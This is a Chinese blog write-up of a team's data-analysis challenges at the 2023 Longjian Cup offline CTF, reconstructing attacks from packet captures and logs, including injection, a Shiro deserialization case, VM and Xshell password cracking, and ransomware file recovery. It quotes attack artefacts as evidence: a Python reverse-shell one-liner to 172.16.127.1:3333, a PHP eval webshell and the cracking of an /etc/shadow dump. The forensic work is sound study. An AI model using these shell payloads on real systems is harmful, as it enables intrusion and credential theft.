2023 陇剑杯线下赛
和同事组队“金盾检测”参加了第二届陇剑杯线下的半决赛和决赛。虽然结果是非常滴遗憾,最终差 2 名无缘优秀奖。但秉持着善始善终的理念,还是记录一下线下赛中我负责的数据分析这块的题目叭。
半决赛
soeasy
抓的是一个 FTP 传文件的流量。
登陆的密码是多少?,提交md5小写
直接追踪一手 TCP 流,第二流就是登录的内容,密码就是 test。
被加密的字符串是多少?
第 7 流给出了 RSA 的私钥文件(保存为 rsa_d.txt)
第 11 流给出了加密代码
第 13 流给出了加密数据(原始数据视图),
编写解密代码
1 | from Crypto.Util.number import * |
得到 b'8dhn3edfna93rAPN'
图片中隐藏的数字是多少?
第 5 流有一个压缩包,保存下来
里头有一个 11.bmp
把高度给高
得到
淦,哪里是头啊,比赛试了2301040,试了3010402,,5次机会用完了也不对。赛后问了贝塔,才知道不是改高度,是改位深,把16改成24!
得到
1 和 2 叠起来了以为是 4,测!
session
抓的是一个通过注入获得管理员账号密码,后台 getshell 的一个流量记录。
通过注入得到的username是?
过滤查看 http 协议 ,发现后面是大块差不多的 http 请求,推测应该是盲注,我们直接看登录成功部分找结果
提交 adminadmin1I1
,好,是错的,实际上注入出来的是 adminadmin111
,虽然前面注入部分看不出注入者是如何判断的,但是注入者在得到正确字符后就会爆破下一个字符,因此我们可以根据 index 的变化来判定(变化的前一个字符是正确)。
除了 root 用户,还有哪个用户含有root权限?
在第2043流找到,test 的用户标识号是 0,所以它有 root 权限。
通过 debug 读取的哪个文件没有找到(绝对路径)
在第 2040 流找到: /etc/1
通过什么命令反弹的shell,提交md5小写
在第2046流里看到
因此就是 import os,pty,socket;s=socket.socket();s.connect(("172.16.127.1",3333));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")
的md5值
easy_shiro
给了一个日志文件,主要看到最后三条
请给出该应用 shiro key
拿到这题一脸懵逼,好在队友本地有工具:BlueTeamToolsV0.58
拿这上述框框里第一条数据的 rememberMe 的内容贴进去
因此 shiro key 就是 4AvVhmFLUs0KTA3Kprsdag==
溯源攻击者的操作,其中有flag
拿这上述框框里第二条数据的后半部分内容
是一个 java class 文件,保存一下用jd gui 看看(直接用 cyberchef 保存好像会报错,这里我用 python 解码再保存的)
有一个密钥 eac9fa38330a7535
,还提到了 AES,就用 AES 解密一下log 文件里最后一行的数据
有一个flag,提交,错误!提交给第三题,正确!(难崩)
那么第二问的东西应该是在第一条log或者第二条log搞出来的序列化传儿里。这个一直到比赛结束也没搞出来,赛后复现的时候问了贝塔
要用到工具:SerializationDumper-Shiro.jar
java -jar SerializationDumper-Shiro.jar -s "第一条log的rememberMe"
然后反编译 bytecodes.class
根据代码,将 var21 的数组内容异或 21 再拼接
1 | var21 = [118, 120, 113, 59, 112, 109, 112, 53, 58, 86, 53, 55, 112, 118, 125, 122, 53, 115, 121, 116, 114, 110, 35, 113, 115, 113, 118, 38, 45, 33, 113, 35, 37, 39, 32, 119, 39, 116, 119, 44, 119, 34, 36, 112, 118, 36, 32, 44, 34, 36, 116, 116, 36, 36, 104, 55] |
得到 cmd.exe /C "echo flag{6dfdc384d6025b2ab9b71ec15971aa11}"
攻击者植入了内存webshell,使用这个webshell做了什么,其中有flag
在解第二问的时候解出来了。
决赛
win
小明在一台电脑中获取了一个虚拟机文件以及桌面上存有rockyou.txt,打开虚拟机的密码是多少?
好,直接坐牢,没有爆破工具,一整套题都没法做,好在主办方在中午的时候给了一个只有 500 个密码的字典,最后我手撸出来了密码 somewhere
,这里用工具复现一下,需要解密的文件是 Windows 7 x64.vmx
需要的工具是 pyvmx-cracker,但是直接用会报错,因为
它检查的是第三行,emmm,给他改成 3。后面读字典还会报错 UnicodeDecodeError: 'gbk' codec can't decode byte 0x85 in position 5716: illegal multibyte sequence
,emmm,再改下
运行好一会得到:
xshell 链接的密码是多少?
淦,xshell 存的密码是加密的,还是要工具,赛后找到了,需要一手 [XshellCrack](Release XshellCrack 1.0 · Q16G/XshellCrack · GitHub),把这个工具放进 win7 里头(因为加密使用的参数和系统有关,所以不能把文件拖出来解密。我尝试把本机的配置文件放进去解密是失败的),直接运行就好。(没法拖,还不能安装 vmtools,想到的解决方式是用 U 盘传)
得到密码 123456a
登录脚本启动的程序路径是什么?
进入虚拟机后,看到这个终端上面文件的路径,就是了:c:\2333.bat
总过访问了几次 www.baidu.com?
打开火狐,看到历史记录,点进管理历史,视图,显示列,点上访问次数,就可以看见总共访问了 www.baidu.com
10 次。
mid
从哪个文件获取到的后台用户名密码?
进来过滤 http 请求,好像是在目录扫描,往后拉到登录成功的部分,然后开始往上找,找到
解密得到 :Username:adminadmin Password:123456aA
,因此获取到登录用户名密码的文件就是 robots.txt
了。
admin的密码通过哪个函数进行加密存储,答案实例 exec()
看到第 18633 条,也就是 4.txt 的内容
因此加密函数为 password_hash
写入的第一次的shell的连接密码是多少?
在第18086数据中看到
解码后是 <?php eval($_POST[1]); ?>
,因此答案就是 1
用户 hack 的密码是多少?
在 18647 数据看到,
是一个base64编码的命令执行,解码看一下
粗略看一下是一堆混淆加执行了个什么命令应该,注意到这个对结果是进行了一个 rot13 的操作。
查看下面的返回
应该是执行了一个 whoami叭,继续往后面的返回,在第18730的数据看到应该是 /etc/shadow 的返回
拿去用john爆破一下
到手:qwerty
ransom
攻击者通过后门在受害机器上安装了勒索病毒,给出勒索病毒文件的sha256(大写)(注:该文件建议在虚拟机中打开)
直接导出 http 对象,看到一个 test.exe
,dump下来然后 sha256 一下就好了
勒索病毒对本地文件继续了加密,给出加密文件的数量
在 tcp 第 358 流找到(这一整块的流量没有 http 的请求,很奇怪,所以当时一直没找到,还是队友找到的)
解码得到的是加密文件的列表
最后一行是空的,因此一共 133 个文件被加密。
恢复被加密的 secret.txt 的内容
这个算是整场比赛最有成就感的一题了,全场只有 3 解。
刚好有一个逆向队友,通过分析 test.exe,勒索病毒的操作有:创建E://tmp.txt为key;遍历C:/Users/test/Documents下文件(会加密这个文件夹下的文件)
我们可以在第 23668 的数据包,发现其查看了 tmp.txt 的内容
dHlwZSBlOlxcdG1wLnR4dA==
base64解码就是 type e:\\tmp.txt
下一条数据就是对应的返回,为 464ROI2+9sM+kxbMBiaBog==
,base64解码再转十六进制就是 e3ae11388dbef6c33e9316cc062681a2
然后在第 23820 的数据中,其查看了 secret.txt.enc 的内容
下一条数据就是对应的返回,为 P4m0zim6ISDKTc8yamhuNMqrgoCR3kB9cVFvhRvMFt0rVIS4zboCsF/Q/PLV0dH0
,base64解码再转十六进制就是 3f89b4ce29ba2120ca4dcf326a686e34caab828091de407d71516f851bcc16dd2b5484b8cdba02b05fd0fcf2d5d1d1f4
有了密文和密钥,根据密钥长度是 16 字节,猜测是 aes 加密,先直接使用 ecb 模式
解密发现有点样子,但又不太对。试一试 cbc 模式,iv 先置零。
虽然结果还是有点问题,但是看到最后的填充 \x06
,可以确定就是 cbc 模式了。但是显然在使用 AES 加密前,程序还对文件进行过处理,于是让队友找了一下,发现加密前会将文件内容异或文件名。(队友在 Documents 目录下创建了一个 aaa.txt 的文件)
非常有样子了!只差一个 iv,后面队友也找到了
1 | from Crypto.Util.number import * |
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com
文章标题:2023 陇剑杯线下赛
文章字数:2.3k
本文作者:Van1sh
发布时间:2023-09-26, 14:42:00
最后更新:2023-10-24, 10:38:51
原始链接:http://jayxv.github.io/2023/09/26/2023 陇剑杯线下赛/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。